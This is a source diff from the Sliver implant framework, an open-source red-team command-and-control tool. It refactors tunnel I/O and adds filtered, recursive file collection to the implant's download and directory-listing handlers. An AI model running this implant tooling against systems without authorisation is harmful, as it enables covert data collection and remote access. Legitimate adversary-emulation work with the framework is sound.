@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
if err == io.EOF {
return
}
continue
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
}
if n > 0 {
frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+44 -112
View File
@@ -1,130 +1,54 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
stream, err := rpc.TunnelData(context.Background())
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
if err != nil {
return err
}
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
// log.Printf("Waiting for TunnelData ...")
GetTunnels().SetStream(stream)
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
tunnel.Recv <- incoming.GetData()
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
GetTunnels().Close(tunnel.ID)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
+146
View File
@@ -0,0 +1,146 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
+162
View File
@@ -0,0 +1,162 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// tunnelsStorage - Holds refs to all tunnels
tunnelsStorage *tunnels
tunnelsSingletonLock = &sync.Mutex{}
)
// GetTunnels - singleton function that returns or initializes all tunnels
func GetTunnels() *tunnels {
tunnelsSingletonLock.Lock()
defer tunnelsSingletonLock.Unlock()
if tunnelsStorage == nil {
log.Println("Creating single instance of tunnels.")
tunnelsStorage = &tunnels{
tunnels: &map[uint64]*TunnelIO{},
mutex: &sync.RWMutex{},
streamMutex: &sync.Mutex{},
}
}
return tunnelsStorage
}
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*TunnelIO
mutex *sync.RWMutex
streamMutex *sync.Mutex
stream rpcpb.SliverRPC_TunnelDataClient
}
func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
log.Printf("Set stream")
t.stream = stream
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Get tunnel %d", tunnelID)
return (*t.tunnels)[tunnelID]
}
// send - safe way to send a message to the stream
// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
if t.stream == nil {
return errors.New("uninitizlied stream")
}
log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
return t.stream.Send(tunnelData)
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := NewTunnelIO(tunnelID, sessionID)
(*t.tunnels)[tunnelID] = tunnel
go func(tunnel *TunnelIO) {
tunnel.Open()
log.Printf("Tunnel now is open, %d", tunnelID)
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
err := t.send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
if err != nil {
log.Printf("Error sending, %s", err)
}
}
log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
}(tunnel)
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
t.mutex.Lock()
defer t.mutex.Unlock()
log.Printf("Closing tunnel %d", tunnelID)
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
tunnel.Close()
delete((*t.tunnels), tunnelID)
}
}
// CloseForSession - closing all tunnels for specified session id
func (t *tunnels) CloseForSession(sessionID string) {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Closing all tunnels for session %s", sessionID)
for tunnelID, tunnel := range *t.tunnels {
if tunnel.SessionID == sessionID {
// Weird way to avoid deadlocks but let it be
go func(tunnelID uint64) {
GetTunnels().Close(tunnelID)
}(tunnelID)
}
}
}
+3 -3
View File
@@ -74,7 +74,7 @@ func (a *OperatorImplantBridge) register() {
if err != nil {
return
}
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
@@ -84,7 +84,7 @@ func (a *OperatorImplantBridge) ReceiveLoop() {
go func() {
for {
data := <-a.send
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
@@ -105,7 +105,7 @@ func (a *OperatorImplantBridge) handleMessage(message string) {
if err != nil {
return
}
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
+1 -1
View File
@@ -232,7 +232,7 @@ GEM
jekyll-seo-tag (~> 2.1)
minitest (5.15.0)
multipart-post (2.1.1)
nokogiri (1.13.4)
nokogiri (1.13.6)
mini_portile2 (~> 2.8.0)
racc (~> 1.4)
octokit (4.22.0)
+1 -1
View File
@@ -20,7 +20,7 @@ set -e
# Creates the static go asset archives
GO_VER="1.18.2"
GO_VER="1.18.4"
GARBLE_VER="1.18.0"
GO_ARCH_1="amd64"
+1 -1
View File
@@ -2,7 +2,7 @@ module github.com/bishopfox/sliver
go 1.17
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
+2 -2
View File
@@ -648,8 +648,8 @@ github.com/modern-go/reflect2 v0.0.0-20180320133207-05fbef0ca5da/go.mod h1:bx2lN
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/mohae/deepcopy v0.0.0-20170308212314-bb9b5e7adda9/go.mod h1:TaXosZuwdSHYgviHp1DAtfrULt5eUgsSMsZf+YrPgl8=
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/grumble v1.1.6 h1:FjPkuGOIwGL8nGkEH0EegnQgsl6Rn0R0fhBW/kcA0s8=
github.com/moloch--/grumble v1.1.6/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ=
+278 -64
View File
@@ -82,6 +82,58 @@ func pingHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func determineDirPathFilter(targetPath string) (string, string) {
// The filter
filter := ""
// The path the filter applies to
path := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if targetPath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(targetPath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurrence == -1 {
// Then this is only a filter
filter = targetPath
path = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
path = targetPath[:lastSeparatorOccurrence+1]
filter = targetPath[lastSeparatorOccurrence+1:]
}
} else {
path = targetPath
// filter remains blank
}
return path, filter
}
func pathIsDirectory(path string) bool {
fileInfo, err := os.Stat(path)
if err != nil {
return false
} else {
return fileInfo.IsDir()
}
}
func dirListHandler(data []byte, resp RPCResponse) {
dirListReq := &sliverpb.LsReq{}
err := proto.Unmarshal(data, dirListReq)
@@ -91,7 +143,19 @@ func dirListHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
dir, files, err := getDirList(dirListReq.Path)
// Handle the case where a directory is provided without a trailing separator
var targetPath string
if pathIsDirectory(dirListReq.Path) {
targetPath = dirListReq.Path + "/"
} else {
targetPath = dirListReq.Path
}
path, filter := determineDirPathFilter(targetPath)
dir, files, err := getDirList(path)
// Convert directory listing to protobuf
timezone, offset := time.Now().Zone()
@@ -102,19 +166,47 @@ func dirListHandler(data []byte, resp RPCResponse) {
dirList.Exists = false
}
dirList.Files = []*sliverpb.FileInfo{}
var match bool = false
var linkPath string = ""
for _, fileInfo := range files {
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
})
if filter == "" {
match = true
} else {
match, err = filepath.Match(filter, fileInfo.Name())
if err != nil {
// Then this is a bad filter, and it will be a bad filter
// on every iteration of the loop, so we might as well break now
break
}
}
if match {
// Check if this is a symlink, and if so, add the path the link points to
if fileInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
linkPath, err = filepath.EvalSymlinks(path + fileInfo.Name())
if err != nil {
linkPath = ""
}
} else {
linkPath = ""
}
dirList.Files = append(dirList.Files, &sliverpb.FileInfo{
Name: fileInfo.Name(),
IsDir: fileInfo.IsDir(),
Size: fileInfo.Size(),
/* Send the time back to the client / server as the number of seconds
since epoch. This will decouple formatting the time to display from the
time itself. We can change the format of the time displayed in the client
and not have to worry about having to update implants.
*/
ModTime: fileInfo.ModTime().Unix(),
Mode: fileInfo.Mode().String(),
Link: linkPath,
})
}
}
// Send back the response
@@ -274,6 +366,29 @@ func pwdHandler(data []byte, resp RPCResponse) {
resp(data, err)
}
func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, int, int, error) {
/*
Combine the path and filter to see if the user wants
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
if err != nil {
// Then we could not read the file
return nil, false, 0, 1, err
} else {
return rawData, false, 1, 0, nil
}
}
// If we are here, then the user wants multiple files (a directory or part of a directory)
var downloadData bytes.Buffer
readFiles, unreadableFiles, err := compressDir(path, filter, recurse, &downloadData)
return downloadData.Bytes(), true, readFiles, unreadableFiles, err
}
// Send a file back to the hive
func downloadHandler(data []byte, resp RPCResponse) {
var rawData []byte
@@ -284,6 +399,8 @@ func downloadHandler(data []byte, resp RPCResponse) {
*/
var isDir bool
var download *sliverpb.Download
downloadReq := &sliverpb.DownloadReq{}
err := proto.Unmarshal(data, downloadReq)
if err != nil {
@@ -294,47 +411,42 @@ func downloadHandler(data []byte, resp RPCResponse) {
return
}
target, _ := filepath.Abs(downloadReq.Path)
fi, err := os.Stat(target)
if err != nil {
//{{if .Config.Debug}}
log.Printf("stat failed on %s: %v", target, err)
//{{end}}
download := &sliverpb.Download{Path: target, Exists: false}
download.Response = &commonpb.Response{
Err: err.Error(),
}
data, err = proto.Marshal(download)
resp(data, err)
return
}
if fi.IsDir() {
var dirData bytes.Buffer
err = compressDir(target, &dirData)
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
rawData = dirData.Bytes()
isDir = true
} else {
rawData, err = ioutil.ReadFile(target)
isDir = false
if pathIsDirectory(target) {
// Even if the implant is running on Windows, Go can deal with "/" as a path separator
target += "/"
}
var download *sliverpb.Download
if err == nil {
path, filter := determineDirPathFilter(target)
rawData, isDir, readFiles, unreadableFiles, err := prepareDownload(path, filter, downloadReq.Recurse)
if err != nil {
if isDir {
// {{if .Config.Debug}}
log.Printf("error creating the archive: %v", err)
// {{end}}
} else {
//{{if .Config.Debug}}
log.Printf("error while preparing download for %s: %v", target, err)
//{{end}}
}
download = &sliverpb.Download{Path: target, Exists: false, ReadFiles: int32(readFiles), UnreadableFiles: int32(unreadableFiles)}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
}
} else {
gzipData := bytes.NewBuffer([]byte{})
gzipWrite(gzipData, rawData)
download = &sliverpb.Download{
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
}
} else {
download = &sliverpb.Download{Path: target, Exists: false}
download.Response = &commonpb.Response{
Err: fmt.Sprintf("%v", err),
Path: target,
Data: gzipData.Bytes(),
Encoder: "gzip",
Exists: true,
IsDir: isDir,
ReadFiles: int32(readFiles),
UnreadableFiles: int32(unreadableFiles),
Response: &commonpb.Response{},
}
}
@@ -659,50 +771,152 @@ func standarizeArchiveFileName(path string) string {
}
}
func compressDir(path string, buf io.Writer) error {
func compressDir(path string, filter string, recurse bool, buf io.Writer) (int, int, error) {
zipWriter := gzip.NewWriter(buf)
tarWriter := tar.NewWriter(zipWriter)
readFiles := 0
unreadableFiles := 0
var matchingFiles []string
/*
There is an edge case where if you are trying to download a junction on Windows,
you will get access denied
To resolve this, we will resolve the junction or symlink before we do anything.
Even though resolving the symlink first is not necessary on *nix, it does not hurt
and will make it so that we do not have to detect if we are on Windows.
*/
pathInfo, err := os.Lstat(path)
if err != nil {
return readFiles, unreadableFiles, err
}
if pathInfo.Mode()&os.ModeSymlink == os.ModeSymlink {
path, err = filepath.EvalSymlinks(path)
if err != nil {
return readFiles, unreadableFiles, err
}
// The path we get back from EvalSymlinks does not have a trailing separator
// Forward slash is fine even on Windows.
path += "/"
}
/*
Build the list of files to include in the archive.
Walking the directory can take a long time and do a lot of unnecessary work
if we do not need to recurse through subdirectories.
If we are not recursing, then read the directory without worrying about
subdirectories.
*/
if !recurse {
testPath := strings.ReplaceAll(path, "\\", "/")
directory, err := os.Open(path)
if err != nil {
return readFiles, unreadableFiles, err
}
directoryFiles, err := directory.Readdirnames(0)
directory.Close()
if err != nil {
return readFiles, unreadableFiles, err
}
for _, fileName := range directoryFiles {
standardFileName := strings.ReplaceAll(testPath+fileName, "\\", "/")
if filter != "" {
match, err := filepath.Match(testPath+filter, standardFileName)
if err == nil && match {
matchingFiles = append(matchingFiles, standardFileName)
}
} else {
matchingFiles = append(matchingFiles, standardFileName)
}
}
} else {
filepath.WalkDir(path, func(file string, d os.DirEntry, err error) error {
filePath := strings.ReplaceAll(file, "\\", "/")
if filter != "" {
// Normalize paths
testPath := strings.ReplaceAll(filepath.Dir(file), "\\", "/") + "/"
match, matchErr := filepath.Match(testPath+filter, filePath)
if !match || matchErr != nil {
// If there is an error, it is because the filter is bad, so it is not a match
return nil
}
matchingFiles = append(matchingFiles, file)
} else {
matchingFiles = append(matchingFiles, file)
}
return nil
})
}
for _, file := range matchingFiles {
fi, err := os.Stat(file)
if err != nil {
// Cannot get info on the file, so skip it
unreadableFiles += 1
continue
}
filepath.Walk(path, func(file string, fi os.FileInfo, err error) error {
fileName := standarizeArchiveFileName(file)
// If the file is a SymLink replace fileInfo and path with the symlink destination.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
file, err = filepath.EvalSymlinks(file)
if err != nil {
return err
unreadableFiles += 1
continue
}
fi, err = os.Lstat(file)
if err != nil {
return err
unreadableFiles += 1
continue
}
}
header, err := tar.FileInfoHeader(fi, file)
if err != nil {
return err
unreadableFiles += 1
continue
}
// Keep the symlink file path for the header name.
header.Name = filepath.ToSlash(fileName)
if err := tarWriter.WriteHeader(header); err != nil {
return err
}
// Check that we can open the file before we try to write it to the archive
if !fi.IsDir() {
data, err := os.Open(file)
if err != nil {
return err
// Skip this file and do not write it to the archive.
unreadableFiles += 1
continue
}
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
data.Close()
continue
}
if _, err := io.Copy(tarWriter, data); err != nil {
return err
unreadableFiles += 1
data.Close()
continue
}
data.Close()
readFiles += 1
} else {
if err := tarWriter.WriteHeader(header); err != nil {
unreadableFiles += 1
continue
}
}
return nil
})
}
if err := tarWriter.Close(); err != nil {
return err
return readFiles, unreadableFiles, err
}
if err := zipWriter.Close(); err != nil {
return err
return readFiles, unreadableFiles, err
}
return nil
return readFiles, unreadableFiles, nil
}
+2 -1
View File
@@ -70,7 +70,7 @@ func pivotStartListenerHandler(envelope *pb.Envelope, connection *transports.Con
}
if createListener, ok := pivots.SupportedPivotListeners[req.Type]; ok {
listener, err := createListener(req.BindAddress, connection.Send)
listener, err := createListener(req.BindAddress, connection.Send, req.Options...)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
@@ -111,6 +111,7 @@ func pivotStopListenerHandler(envelope *pb.Envelope, connection *transports.Conn
return
}
pivots.StopListener(req.ID)
pivots.RemoveListener(req.ID)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: []byte{},
+6 -448
View File
@@ -19,36 +19,24 @@ package handlers
*/
import (
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/implant/sliver/handlers/tunnel_handlers"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/things-go/go-socks5"
"google.golang.org/protobuf/proto"
)
var (
tunnelHandlers = map[uint32]TunnelHandler{
sliverpb.MsgShellReq: shellReqHandler,
sliverpb.MsgPortfwdReq: portfwdReqHandler,
sliverpb.MsgSocksData: socksReqHandler,
sliverpb.MsgShellReq: tunnel_handlers.ShellReqHandler,
sliverpb.MsgPortfwdReq: tunnel_handlers.PortfwdReqHandler,
sliverpb.MsgSocksData: tunnel_handlers.SocksReqHandler,
sliverpb.MsgTunnelData: tunnelDataHandler,
sliverpb.MsgTunnelClose: tunnelCloseHandler,
sliverpb.MsgTunnelData: tunnel_handlers.TunnelDataHandler,
sliverpb.MsgTunnelClose: tunnel_handlers.TunnelCloseHandler,
}
// TunnelID -> Sequence Number -> Data
tunnelDataCache = map[uint64]map[uint64]*sliverpb.TunnelData{}
)
// GetTunnelHandlers - Returns a map of tunnel handlers
@@ -58,433 +46,3 @@ func GetTunnelHandlers() map[uint32]TunnelHandler {
// {{end}}
return tunnelHandlers
}
func tunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelClose := &sliverpb.TunnelData{
Closed: true,
}
proto.Unmarshal(envelope.Data, tunnelClose)
tunnel := connection.Tunnel(tunnelClose.TunnelID)
if tunnel != nil {
// {{if .Config.Debug}}
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
delete(tunnelDataCache, tunnel.ID)
}
}
func tunnelDataHandler(envelope *sliverpb.Envelope, connection *transports.Connection) {
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(envelope.Data, tunnelData)
tunnel := connection.Tunnel(tunnelData.TunnelID)
if tunnel != nil {
if _, ok := tunnelDataCache[tunnelData.TunnelID]; !ok {
tunnelDataCache[tunnelData.TunnelID] = map[uint64]*sliverpb.TunnelData{}
}
// Since we have no guarantees that we will receive tunnel data in the correct order, we need
// to ensure we write the data back to the reader in the correct order. The server will ensure
// that TunnelData protobuf objects are numbered in the correct order using the Sequence property.
// Similarly we ensure that any data we write-back to the server is also numbered correctly. To
// reassemble the data, we just dump it into the cache and then advance the writer until we no longer
// have sequential data. So we can receive `n` number of incorrectly ordered Protobuf objects and
// correctly write them back to the reader.
// {{if .Config.Debug}}
log.Printf("[tunnel] Cache tunnel %d (seq: %d)", tunnel.ID, tunnelData.Sequence)
// {{end}}
//Added a thread lock here because the incrementing of the ReadSequence, adding/deleting things from a shared cache,
//and then making decisions based on the current size of the cache by multiple threads can cause race conditions errors
var l sync.Mutex
l.Lock()
tunnelDataCache[tunnel.ID][tunnelData.Sequence] = tunnelData
// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
// is used here whereas WriteSequence is used for data written back to the server
// Go through cache and write all sequential data to the reader
cache := tunnelDataCache[tunnel.ID]
for recv, ok := cache[tunnel.ReadSequence]; ok; recv, ok = cache[tunnel.ReadSequence] {
// {{if .Config.Debug}}
log.Printf("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
// {{end}}
tunnel.Writer.Write(recv.Data)
// Delete the entry we just wrote from the cache
delete(cache, tunnel.ReadSequence)
tunnel.ReadSequence++ // Increment sequence counter
}
//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
//Send a Resend packet to have the msg resent from the cache
if len(cache) > 3 {
data, err := proto.Marshal(&sliverpb.TunnelData{
Sequence: tunnel.WriteSequence, // The tunnel write sequence
Ack: tunnel.ReadSequence,
Resend: true,
TunnelID: tunnel.ID,
Data: []byte{},
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to marshal protobuf %s", err)
